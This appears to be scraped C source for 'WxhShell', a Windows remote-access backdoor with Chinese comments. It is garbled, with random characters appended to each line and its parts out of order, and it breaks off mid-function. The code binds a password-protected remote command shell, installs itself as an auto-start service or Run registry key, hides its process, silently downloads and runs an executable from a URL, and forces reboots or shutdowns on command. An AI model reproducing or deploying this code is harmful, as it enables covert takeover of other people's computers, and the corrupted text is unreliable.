    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eHx {[J?  
    if(Boot(SHUTDOWN))  o]0E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Z 7t E?  
    else { ,5 8-h?B0v  
    closesocket(wsh); T:j41`g%s  
    ExitThread(0); i(A `'V8GY  
    } 2-S}#S}2C  
    break; #8d#Jw  
    } bP:u`!p -i  
  // 获取shell q4:zr   
  case 's': { K81FKV.  
    CmdShell(wsh); ~ &/Nl_#  
    closesocket(wsh); K%9!1'  
    ExitThread(0); =YM  
    break; ,>6mc=p  
  } UXSwd#I&  
  // 退出 T c-fO /0  
  case 'x': { kU:Q&[/jzH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jhT/}"v  
    CloseIt(wsh); DI{Qs[  
    break; #~Kno@  
    } ruhC:rg:/  
  // 离开 Fkv284,LM  
  case 'q': { W&A^.% 2l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); + fvVora  
    closesocket(wsh); S?DMeZ{:  
    WSACleanup(); JNU9RxR  
    exit(1); H( LK}[  
    break; dnANlNMk?  
        } JA >&$h  
  } *h?*RUQ  
  } e23&d  
"dG*HKrr  
  // 提示信息 6\h*SBI?(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :CM2kh"Iu  
} _576Qa'rm  
  } h6Vd<sV\tf  
a;i} <n7  
  return; =)#XZ[#F  
} B"7~[,he  
a#0*#&?7@  
// shell模块句柄 &w_8E+Y Z  
int CmdShell(SOCKET sock) y=GDuU%  
{ BAqwYWdS  
STARTUPINFO si; R]Fa?uQW  
ZeroMemory(&si,sizeof(si)); 9aID&b +  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z#5qI',L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rl"yE=  
PROCESS_INFORMATION ProcessInfo; /0L]Pf;  
char cmdline[]="cmd"; .ErR-p=-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^b&hy&ag  
  return 0; hzV%QDUpe  
} Mt4`~`6  
%*L8W*V  
// 自身启动模式 ,[n=PJVw/  
int StartFromService(void) q:_-#u  
{ s_u! RrC  
typedef struct gd)VL}k  
{ 5"#xbvRS0H  
  DWORD ExitStatus; j97c@  
  DWORD PebBaseAddress; RZvRV?<bR  
  DWORD AffinityMask; ~N2 [j  
  DWORD BasePriority; i;2V   
  ULONG UniqueProcessId; B(@uJ^N  
  ULONG InheritedFromUniqueProcessId; q!d7Ms{q  
}   PROCESS_BASIC_INFORMATION; ]VVx2ERs  
iA2TvP#  
PROCNTQSIP NtQueryInformationProcess; ]:6IW:  
Kt#X'!9/<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,=6;dT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; neWx-O  
Dk~ JH9#  
  HANDLE             hProcess; `C:J{`  
  PROCESS_BASIC_INFORMATION pbi; %H"AHkge:a  
%F*h}i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >+BLD  
  if(NULL == hInst ) return 0; Kn+B):OY+  
Xp^71A?>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xt*h2&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V=GP_^F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )=h+5Z>E1  
g*U[?I"sC  
  if (!NtQueryInformationProcess) return 0; (S j?BZjC  
6K.0dhl>`B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ds+0y;vc  
  if(!hProcess) return 0; =sXk,I;  
e=6C0fr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #w[Ie+  
\T!tUd  
  CloseHandle(hProcess); $8_b[~%2  
m!<uY?,hf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w##$SaTI  
if(hProcess==NULL) return 0; c+TCC%AJQI  
d _Y7/_i  
HMODULE hMod; 5DeAH ;  
char procName[255]; mVyF M -`  
unsigned long cbNeeded; !uHVg(}  
LwCf}4u"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b;e*`f8T3c  
tw]Q5:6  
  CloseHandle(hProcess); ^X?3e1om  
c(S66lp  
if(strstr(procName,"services")) return 1; // 以服务启动 >x1?t  
i\P)P!  
  return 0; // 注册表启动 rcMSso2  
} f,Dj@?3+  
_$qH\>se  
// 主模块 LT '2446  
int StartWxhshell(LPSTR lpCmdLine) ?F%,d{^  
{ l:VcV  
  SOCKET wsl; g"v-hTx  
BOOL val=TRUE; 3hzKd_  
  int port=0; k'{Bhi4  
  struct sockaddr_in door; 6SD9lgF*-  
&Sp2['a!  
  if(wscfg.ws_autoins) Install(); }W* q  
lZ}H?n%  
port=atoi(lpCmdLine); *1b)Va8v*  
m:{IVvN_  
if(port<=0) port=wscfg.ws_port; e/!xyd  
_"c?[n  
  WSADATA data; dX~$#-Ad86  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5@@ilvwzz  
q vGkTE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B"I^hrQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QPpC_pZh  
  door.sin_family = AF_INET; `GT{=XJfY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4Q(GX.5  
  door.sin_port = htons(port); ;bt%TxuKb  
0)-yLfTn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r5\|%5=J  
closesocket(wsl); ZncJ  
return 1; ?r-W , n  
} /aD3E"Op  
sM'%apM#  
  if(listen(wsl,2) == INVALID_SOCKET) { P PSSar  
closesocket(wsl); A^"( VaK  
return 1; jAb R[QR1%  
} S6Fn(%T+9  
  Wxhshell(wsl); q'[q]  
  WSACleanup(); <2{-ey]  
J9*$@&@S  
return 0; hE>%LcP  
le J\  
} ,O/ t6'  
$Q< >M B7  
// 以NT服务方式启动 <C,lHt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  - }9a%  
{ j]' 7"b5  
DWORD   status = 0; ]728x["(19  
  DWORD   specificError = 0xfffffff; 6Z3L=j  
1US4:6xX_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $UGX vCR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Z]l4d3{T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gg=Y}S7:  
  serviceStatus.dwWin32ExitCode     = 0; "xKykSk  
  serviceStatus.dwServiceSpecificExitCode = 0; ?B~S4:9  
  serviceStatus.dwCheckPoint       = 0; gG6j>%y  
  serviceStatus.dwWaitHint       = 0; o\;cXu h  
=;?afUj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (7_}UT@w-  
  if (hServiceStatusHandle==0) return; iSg^np  
^9*kZV<K  
status = GetLastError(); Pwg?a  
  if (status!=NO_ERROR) 0B?t:XU,  
{ TmIw?#q^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :N ~A7@  
    serviceStatus.dwCheckPoint       = 0; L1J~D?q  
    serviceStatus.dwWaitHint       = 0; $,9A?'  
    serviceStatus.dwWin32ExitCode     = status; ny{Yr>:2  
    serviceStatus.dwServiceSpecificExitCode = specificError; h#7p&F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Doj>Irj? 7  
    return; nL@(|nJ[  
  } 9d_ Zdc  
f,}9~r #  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rsgTd\b  
  serviceStatus.dwCheckPoint       = 0; 8\/$cP"<^  
  serviceStatus.dwWaitHint       = 0; %DR8M\d1~H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I=G-(L/&  
} . +  
Td/J6Q9 0  
// 处理NT服务事件,比如:启动、停止 cg]>*lH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !m<v@SmL\  
{ xaG( 3  
switch(fdwControl) -\V!f6Q  
{ :@8N${7`$A  
case SERVICE_CONTROL_STOP: q71~Y:7f  
  serviceStatus.dwWin32ExitCode = 0; i~0x/wSl_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3"HW{=  
  serviceStatus.dwCheckPoint   = 0; $\A=J  
  serviceStatus.dwWaitHint     = 0; H%z9VJ*!0  
  { waI:w,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Wz`P#/  
  } 6=o'.03\f  
  return; Ods/1 KW  
case SERVICE_CONTROL_PAUSE: gONybz6]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6z keWR  
  break; |`,AA a  
case SERVICE_CONTROL_CONTINUE: -.=:@H}r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E6zSMl5b  
  break; ?6T\uzL +%  
case SERVICE_CONTROL_INTERROGATE: g#/"3P2 H  
  break; LX2Re ]&  
}; dFVx*{6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &;wNJ)Uc  
} ZtLZW/`  
K*[`s'Ip-  
// 标准应用程序主函数 FZ~^cK9g:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P")1_!  
{ }@H(z  
"F+m}GJ=a  
// 获取操作系统版本 Q^! x8oUF  
OsIsNt=GetOsVer(); 1HS43!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @&xWd{8'  
[ qx[ 0  
  // 从命令行安装 WAqH*LB  
  if(strpbrk(lpCmdLine,"iI")) Install(); gql^Inx<  
x^]J^L45  
  // 下载执行文件 vnS;T+NZSC  
if(wscfg.ws_downexe) { sRkPXzK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x=%wP VJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); tEFbL~n  
} > t~2  
L }L"BY3$  
if(!OsIsNt) { J,Rp&tavt:  
// 如果时win9x,隐藏进程并且设置为注册表启动 RR9G$}WS(  
HideProc(); &A!?:?3%O  
StartWxhshell(lpCmdLine); xjK@Q1MJ  
} +ko-oZ7V  
else e WWtMnq  
  if(StartFromService()) *P0sl( &  
  // 以服务方式启动 AREpZ2GiU  
  StartServiceCtrlDispatcher(DispatchTable); o<8SiVC2  
else %("WoBPH`  
  // 普通方式启动 }u?DK,R  
  StartWxhshell(lpCmdLine); 6O0CF}B*  
iwx*mC{|A  
return 0; 15\k/[3 #  
} DICS6VG}  
5|_El/G  
6h9Hf$'  
3EO:Uk5<   
=========================================== "p\5:<  
tx_h1[qi  
h= Mmd  
C=,O'U(ep  
m[8?d~  
$;VY`n  
" 4IGn,D^  
*pj^d><  
#include <stdio.h> (JdZl2A.  
#include <string.h> w gU2q|  
#include <windows.h> =GJ)4os  
#include <winsock2.h> ~b;u1;ne  
#include <winsvc.h> .h r$<]  
#include <urlmon.h> '<-F3  
n&\DJzW\#  
#pragma comment (lib, "Ws2_32.lib") =+ALh-  
#pragma comment (lib, "urlmon.lib") Cr>YpWm  
9AP."RV  
#define MAX_USER   100 // 最大客户端连接数 ![Ll$L r  
#define BUF_SOCK   200 // sock buffer B`mTp01  
#define KEY_BUFF   255 // 输入 buffer 8'|_O  
,%<ICusZ  
#define REBOOT     0   // 重启 ZZ2vdy38  
#define SHUTDOWN   1   // 关机 JS2h/Y$  
Zt/4|&w  
#define DEF_PORT   5000 // 监听端口 HVH<S  
7v]9) W=y  
#define REG_LEN     16   // 注册表键长度 8d1r#sILI  
#define SVC_LEN     80   // NT服务名长度 , G9{:  
>e M> Y@8=  
// 从dll定义API N.F //n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b`& :`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }!*CyO*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7&w$@zs87  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HA`q U  
D/&nEMp6  
// wxhshell配置信息 O 4C}]E  
struct WSCFG { eJ+@<+vr;x  
  int ws_port;         // 监听端口 &e)V!o@wJV  
  char ws_passstr[REG_LEN]; // 口令 ~sMEfY,p  
  int ws_autoins;       // 安装标记, 1=yes 0=no d:3OC&  
  char ws_regname[REG_LEN]; // 注册表键名 y#v<V1b]  
  char ws_svcname[REG_LEN]; // 服务名 ,-`A6ehg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 12LGWhDp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @XQItc<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8fWk C<f}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'dJ(x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~djHtd>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5ggsOqH  
%_. fEFy07  
}; nA#N,^Rr  
p5`={'>-  
// default Wxhshell configuration k] iyx  
struct WSCFG wscfg={DEF_PORT, FwwOp"[~t  
    "xuhuanlingzhe", R "qt}4m  
    1, 2P,{`O1]  
    "Wxhshell", uWjEyxPv{  
    "Wxhshell",  Uu0  
            "WxhShell Service", t{Wu5<F:  
    "Wrsky Windows CmdShell Service", )NmYgd~%  
    "Please Input Your Password: ", `h='FJ/!  
  1, ;.{J>Q/U,  
  "http://www.wrsky.com/wxhshell.exe", pSdtAv  
  "Wxhshell.exe" l]~mB~  
    }; 71G\b|5  
^*'fDP*  
// 消息定义模块 >)6k)$x%%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; su0q 2.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o]TKL'gW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0S#T}ITm4Z  
char *msg_ws_ext="\n\rExit."; PrvV]#O*  
char *msg_ws_end="\n\rQuit."; X?++I 4\  
char *msg_ws_boot="\n\rReboot..."; f,'^"Me$c  
char *msg_ws_poff="\n\rShutdown..."; 6Sz|3ms  
char *msg_ws_down="\n\rSave to "; b^R_8x  
=4#p|OZP  
char *msg_ws_err="\n\rErr!"; l5FKw;=K}:  
char *msg_ws_ok="\n\rOK!"; IiM=Z=2  
3XcFBFE  
char ExeFile[MAX_PATH]; O&evv8 6L  
int nUser = 0; {4>N2mP{M  
HANDLE handles[MAX_USER]; COH9E\ZGF  
int OsIsNt; o?/fObV@(  
zbAyYMtEk  
SERVICE_STATUS       serviceStatus; "R^0eNv$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v,Uu )Z  
UTVqoCHA  
// 函数声明 UO4z~  
int Install(void); #n.XOet<\  
int Uninstall(void); )St`}qu;  
int DownloadFile(char *sURL, SOCKET wsh); M a^}7D /  
int Boot(int flag); 5%]O'h  
void HideProc(void); +wGFJLHJ  
int GetOsVer(void); `]4tJJy$  
int Wxhshell(SOCKET wsl); ` M!'PMX  
void TalkWithClient(void *cs); ;4k/h/o1#  
int CmdShell(SOCKET sock); @y8) "m"  
int StartFromService(void); JnPwqIF1  
int StartWxhshell(LPSTR lpCmdLine); F4$9r^21r  
85vyt/.,k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {sF;R.P&r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,SH^L|I  
p9[gG\  
// 数据结构和表定义 !@[@&.  
SERVICE_TABLE_ENTRY DispatchTable[] = e'2w-^7  
{ _Lgi5B%   
{wscfg.ws_svcname, NTServiceMain}, 09J,!NN  
{NULL, NULL} e4<St`K  
}; +2,EK   
j>A=Wa7  
// 自我安装 Le2rc *T  
int Install(void) G2w0r,[  
{ -u~AY#*  
  char svExeFile[MAX_PATH]; .5!Q(  
  HKEY key; `<(o;*&Gd  
  strcpy(svExeFile,ExeFile); ."j=s#OC(  
s&M#]8x;x  
// 如果是win9x系统,修改注册表设为自启动 eE" *c>I  
if(!OsIsNt) { 2`A\'SM'4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AA5UOg\jI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B pp(5  
  RegCloseKey(key); WDF6.i ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]F sr k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8TCbEPS@Q  
  RegCloseKey(key); ZM_-g4[H  
  return 0; FDTC?Ii O  
    } $k^& X `  
  } =\g K<Xh  
} ^C~t)U  
else { ;aDYw [  
Q|7;Zsd:  
// 如果是NT以上系统,安装为系统服务  Sr+ &  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %Mf3OtPiJW  
if (schSCManager!=0) TNlS2b1  
{ ~|&To >  
  SC_HANDLE schService = CreateService ] uXmug  
  ( i2?TMM!Fe  
  schSCManager, $d Nmq  
  wscfg.ws_svcname, Q&vU|y  
  wscfg.ws_svcdisp, 6\RZ[gA?  
  SERVICE_ALL_ACCESS, w_*$w Vl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &{S@v9~IT  
  SERVICE_AUTO_START, |`O210B@  
  SERVICE_ERROR_NORMAL, EO\- J-nM  
  svExeFile, & sgzSX  
  NULL, QJ,~K&?  
  NULL, U]"6KS   
  NULL, t:%u4\nZ;  
  NULL, q U^`fIa  
  NULL ' pfkbmJ  
  ); },,K6*P  
  if (schService!=0) @Uqcym.  
  { 7W=s.Gy7G\  
  CloseServiceHandle(schService); .e|\Bf0P  
  CloseServiceHandle(schSCManager); UQq Qim  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6OZ n7:)Y  
  strcat(svExeFile,wscfg.ws_svcname); S+u@ Q}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KP CZiu7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %Vhj<gN  
  RegCloseKey(key); Thuwme  
  return 0; 9G)fJr  
    } xpWY4Q  
  } &G_XgQsg{  
  CloseServiceHandle(schSCManager); *a'I  
} G!U `8R  
} =z#j9'n$@  
g3c,x kaO  
return 1; Z@bKYfGM  
} `86})xz{  
wj\kx\+  
// 自我卸载 .x_F4#Ka  
int Uninstall(void) ?-=<7 ~$  
{ %)=c#H1  
  HKEY key; >(F y6m  
V-lp';bD  
if(!OsIsNt) { Mc 6v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h! w d/jR  
  RegDeleteValue(key,wscfg.ws_regname); WB\chb%ej#  
  RegCloseKey(key); ^"+Vx9H"{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /e7BW0$1  
  RegDeleteValue(key,wscfg.ws_regname); 8:k-]+#o  
  RegCloseKey(key); V BjA$.  
  return 0; 4B@Ir)^(*  
  } >uwd3XW5  
} 4)d"}j  
} +krDmU9(  
else { [N0"mE<  
(4IH%Ez){  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A5,(P$@ k  
if (schSCManager!=0) s[}cj+0  
{ afye$$X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ( \7Yo^  
  if (schService!=0) B dxV [SF  
  { DS=Dg@y  
  if(DeleteService(schService)!=0) { BoofJm  
  CloseServiceHandle(schService); c> ":g~w  
  CloseServiceHandle(schSCManager); % {A%SDh  
  return 0;  #{zF~/Qq  
  } T26'b .  
  CloseServiceHandle(schService); GhW{6.^  
  } Z + )<FX  
  CloseServiceHandle(schSCManager); -Hg,:re2  
} &+df@U6i  
} m,r>E%;Cj  
[ip}f4K  
return 1; ?e[]UO  
} J:0`*7  
#X*=oG  
// 从指定url下载文件 GoPK. E$  
int DownloadFile(char *sURL, SOCKET wsh) 2 5I a  
{ G,XUMZ  
  HRESULT hr; }XfRKGQw  
char seps[]= "/"; Fr1OzS^&(  
char *token; gk4DoOj#P  
char *file; .}3K9.hkr  
char myURL[MAX_PATH]; z/|tsVK  
char myFILE[MAX_PATH]; 43N=O FU  
kV$VKag*A  
strcpy(myURL,sURL); k];fQ7}m<0  
  token=strtok(myURL,seps); (w?W=guHu  
  while(token!=NULL) @"0n8y  
  { A&:~dZ:%w  
    file=token; V0y_c^x  
  token=strtok(NULL,seps); x_#'6H\1ga  
  } :@J.!dokF  
+6f[<^K#  
GetCurrentDirectory(MAX_PATH,myFILE); z}2  
strcat(myFILE, "\\"); CwsC)]{/o  
strcat(myFILE, file); L%I8no-Q  
  send(wsh,myFILE,strlen(myFILE),0); /086qB|  
send(wsh,"...",3,0); yVH>Q-{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zmy:Etqi  
  if(hr==S_OK) L!^^3vn  
return 0; "\"sM{x  
else 3'[ g2JR  
return 1; .%_=(C< E  
TTz_w-68  
} [+b&)jN*2  
%^bN^Sq -  
// 系统电源模块 $%"~.L4  
int Boot(int flag) JvM:xy9  
{ E 7"`D\*  
  HANDLE hToken; "^5%g%  
  TOKEN_PRIVILEGES tkp; EN)0b,ax  
2,G9~<t  
  if(OsIsNt) { 'Jl73#3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t#=FFQOt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z_L><}H  
    tkp.PrivilegeCount = 1; B{cb'\ C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3=IY0Q>/(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J;Veza  
if(flag==REBOOT) { W4:#=.m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wE#z)2?`\  
  return 0; M(<.f}yZQ  
} n4/Jx*  
else { hmJa1fw=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }M~[8f ]  
  return 0; nfS.0\z  
} K7]QgfpSZ  
  } +P;&/z8i*g  
  else { {GS$7n  
if(flag==REBOOT) { Z1oUAzpj4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  +D|E8sz8  
  return 0; =Y-mc#{8  
} ]gDX~]f[  
else { O8 5)^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nmUMg  
  return 0; )"f*Mp  
} wQN/MYF[  
} /t_AiM,(  
xRm~a-rp  
return 1; B^"1V{M  
} p$l'y""i  
xoN?[  
// win9x进程隐藏模块 \Wf1b8FW  
void HideProc(void) `r*bG=  
{ ] F2{:RW  
]McDN[h:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g5~wdhpb  
  if ( hKernel != NULL ) u51Lp  
  { 7/6%92T/B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wU/BRz8I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g)^g_4  
    FreeLibrary(hKernel); M]A!jWtE  
  } YCo qe,5  
}Z8DVTpX}  
return; GA2kg7  
} ZUaqv  
OsNJ;B  
// 获取操作系统版本 %lSjC%Z'd  
int GetOsVer(void) S/xCX!  
{ Mt%=z9OLq9  
  OSVERSIONINFO winfo; lAo S 9w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ++Fk8R/$U[  
  GetVersionEx(&winfo); 6}GcMhU<r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) utBKl' `  
  return 1; @;h$!w<  
  else fb D  
  return 0; `8G {-_  
} 9Vtn62+  
6Wc'5t3  
// 客户端句柄模块 ~a` vk@8  
int Wxhshell(SOCKET wsl) 4>t=r\"4  
{ HHg[6aw  
  SOCKET wsh; ?7R&=B1g  
  struct sockaddr_in client; eT Z2f  
  DWORD myID; D:Fi/JY~  
\* SEj&9  
  while(nUser<MAX_USER) i|QL6e*0  
{ = K3NKPUI  
  int nSize=sizeof(client); 8 J;\Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6:qh%ZR  
  if(wsh==INVALID_SOCKET) return 1; U$ 22r b  
tqicyNL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7q'T,'[  
if(handles[nUser]==0) 0M 5m8  
  closesocket(wsh); _/cL"Wf  
else {}N=pL8MS  
  nUser++; n_@cjO  
  } pEX|zee  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ><"0GPxrx  
J|:Zs1.<d  
  return 0; {Q AV  
} ^6FU]  
wUcp_)aE|  
// 关闭 socket 5yQ\s[;o3  
void CloseIt(SOCKET wsh) _p\O!y  
{ #w&N) c>  
closesocket(wsh); %S]g8O[}nl  
nUser--; wv&#lM(  
ExitThread(0); V25u_R`{  
} %)!b254  
1eMz"@ Q9  
// 客户端请求句柄 >PoVK{&y  
void TalkWithClient(void *cs) qfsu# R  
{ RzN9pAe  
uZ8^"  W  
  SOCKET wsh=(SOCKET)cs; f/{*v4!  
  char pwd[SVC_LEN]; A,]%*kg2  
  char cmd[KEY_BUFF]; 6tv-PgZ  
char chr[1]; ioJr2wq6  
int i,j; Z^r? MX/  
rxQ&N[r2  
  while (nUser < MAX_USER) { ]]8^j='P'  
zb& 3{,  
if(wscfg.ws_passstr) { |7%#z~rT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <-F[q'!C1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^>m"j6`h,  
  //ZeroMemory(pwd,KEY_BUFF); QV9 z81[  
      i=0; !\/J|~XZ  
  while(i<SVC_LEN) { G2 !J`}  
@szr '&\%A  
  // 设置超时 J0,;F9<C#X  
  fd_set FdRead; gMUCVKGf  
  struct timeval TimeOut; E% d3}@  
  FD_ZERO(&FdRead); pW1(1M)[%Z  
  FD_SET(wsh,&FdRead); L1YiXJ,T,  
  TimeOut.tv_sec=8; I"bz6t\~|  
  TimeOut.tv_usec=0; ^{l$>e]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m+9~f_}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s|d"2w6t  
vmIt!x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rxk0^d:sNi  
  pwd=chr[0]; i;mA|  
  if(chr[0]==0xd || chr[0]==0xa) { H?tX^HO:q  
  pwd=0; l{4rKqtX  
  break; )k6kK}  
  } 'O[0oi&  
  i++; h #(J6ht  
    } l-<EG9m@  
2tI,`pSU  
  // 如果是非法用户,关闭 socket >S'IrnH'!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9q_c`  
} 0=Mu|G|Z  
_FtsO<p)"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QI*<MF,1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,WQg.neOA  
v]X*(e  
while(1) { K410.o/=-  
6Eyinv  
  ZeroMemory(cmd,KEY_BUFF); aKC,{}f$m  
MeW?z|x`'  
      // 自动支持客户端 telnet标准   =gQ^,x0R9  
  j=0; olca Z  
  while(j<KEY_BUFF) { I@q(P>]X9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E8"$vl&c]  
  cmd[j]=chr[0]; L=wpZ`@ y  
  if(chr[0]==0xa || chr[0]==0xd) { ?z0N- A2C2  
  cmd[j]=0; 8ib%CYR  
  break; MkX=34oc^  
  } }0~X)Vgm(  
  j++; 2VaKt4+`  
    } qA5 Ug  
^/fasl$#  
  // 下载文件 Er@OmNT  
  if(strstr(cmd,"http://")) { 6 U_P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Aqo90(jffx  
  if(DownloadFile(cmd,wsh)) *=(vIm[KL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,yH\nqEz  
  else 'T(@5%Db  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Z<=PdI1Ys  
  } 3 @%XR8ss  
  else {  4}F~h  
6QAhVg: A  
